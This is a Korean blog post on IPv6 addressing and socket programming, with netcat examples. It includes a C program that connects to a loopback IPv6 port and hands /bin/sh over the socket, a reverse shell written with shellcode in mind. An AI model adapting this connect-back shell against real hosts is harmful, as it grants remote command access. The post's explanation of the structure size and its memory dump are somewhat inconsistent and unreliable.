본문 바로가기

Programming

using IPv6 address

IPv6 를 사용하는것은 생각보다 어렵지 않다.



- IPv6 주소 기본


1. 16bit(2byte) 씩 HEX 표기 8개가 : 으로 구분되어있다.

0000 : 1111 : 2222 : 3333 : 4444 : aaaa : bbbb : cccc

그냥 md5 의 2바이트마다 : 가 껴있다고 생각하면 쉽다.


2. 콜론 사이의 한 그룹의 HEX 표기에서 0 prefix 는 생략한다

예를들어 : 0b41 : 같은경우 : b41 : 로 표기


3. 하나 이상의 HEX 그룹이 0 으로 채워진경우 :: 으로 생략가능

예를들어 0000 : 0000 : 0000 : 0000 : 1234 : 2345 : 3456 : 4567 는

:: 1234 : 2345 : 3456 : 4567 이런식으로...

그리고 :: 생략은 주소의 0 이 가장 많은 한부분밖에 할수없음.


4. 루프백주소는 ::1 이다.

root@ubuntu:/var/www/tmp# ifconfig

eth0      Link encap:Ethernet  HWaddr 00:0c:29:3f:d0:fb  

          inet addr:192.168.0.103  Bcast:192.168.0.255  Mask:255.255.255.0

          inet6 addr: fe80::20c:29ff:fe3f:d0fb/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:27901 errors:0 dropped:0 overruns:0 frame:0

          TX packets:15995 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:19708188 (19.7 MB)  TX bytes:2188922 (2.1 MB)

          Interrupt:19 Base address:0x2000 


lo        Link encap:Local Loopback  

          inet addr:127.0.0.1  Mask:255.0.0.0

          inet6 addr: ::1/128 Scope:Host

          UP LOOPBACK RUNNING  MTU:16436  Metric:1

          RX packets:4400 errors:0 dropped:0 overruns:0 frame:0

          TX packets:4400 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:0 

          RX bytes:409927 (409.9 KB)  TX bytes:409927 (409.9 KB)


5. ping6 를 통해 ip6 주소에 ping 을 날릴수 있다(루트권한필요)

그리고 nc 의 경우 -6 옵션을 주면 ip6 주소로 listen 할 수 있다.

nc client 쪽에서는 그냥 v6 주소를 명시하면 알아서 v6 로 접속한다.


[클라이언트]

root@ubuntu:/var/www/tmp# nc ::1 9999

asdf


[서버]

root@ubuntu:/home/declspec# nc -lv -6 9999

Connection from 0.0.0.0 port 9999 [tcp/*] accepted

asdf




프로그래밍적으로 볼때의 IPv6


1. socket 을 만들때 AF_INET 을 AF_INET6 로만 바꿔주면 되는데

상수로서는 2 -> 10 으로 바꾸면된다.


2. sockaddr_in 구조체가 V6 용으로 바뀌는데 아래의 코드처럼 해주면된다.

#include <stdio.h>

#include <netinet/in.h>


char* args[] = {"/bin/sh", 0};


int main(){

int fd = socket(PF_INET6, SOCK_STREAM, IPPROTO_IP);

printf("fd : %d\n", fd);


struct sockaddr_in6 sin6;

sin6.sin6_family = AF_INET6;

sin6.sin6_flowinfo = 0;

sin6.sin6_port = htons(9999);

sin6.sin6_addr = in6addr_loopback;


connect(fd, (struct sockaddr *)&sin6, 28);


dup2(fd, 0);

dup2(fd, 1);

execve(args[0], args, 0);

return 0;

}


3. 쉘코드적인 측면에서 볼때 sockaddr_in6 내용은 아래와 같다.


(gdb) x/20x 0xbffff320

0xbffff320: 0xbbbb000a 0x00000000 0x00000000 0x00000000

0xbffff330: 0x00000000 0x01000000


메모리상으로 보면 [AF_INET6][PORT][IPv6 addr] 의 순서로 24바이트가 채워진다.

그런데 왜인지는 모르겠지만 connect 의 size 인자로는 28바이트를 넘겨줘야한다.






'Programming' 카테고리의 다른 글

Extracting Kernel ELF image from bzImage  (0) 2013.08.09
Compile a x86 vanilla Linux and test with QEMU  (0) 2013.08.08
Linux ARM system call table  (0) 2013.07.18
Linux x64 system call table  (0) 2013.07.17
Linux configuration stuff  (0) 2013.07.10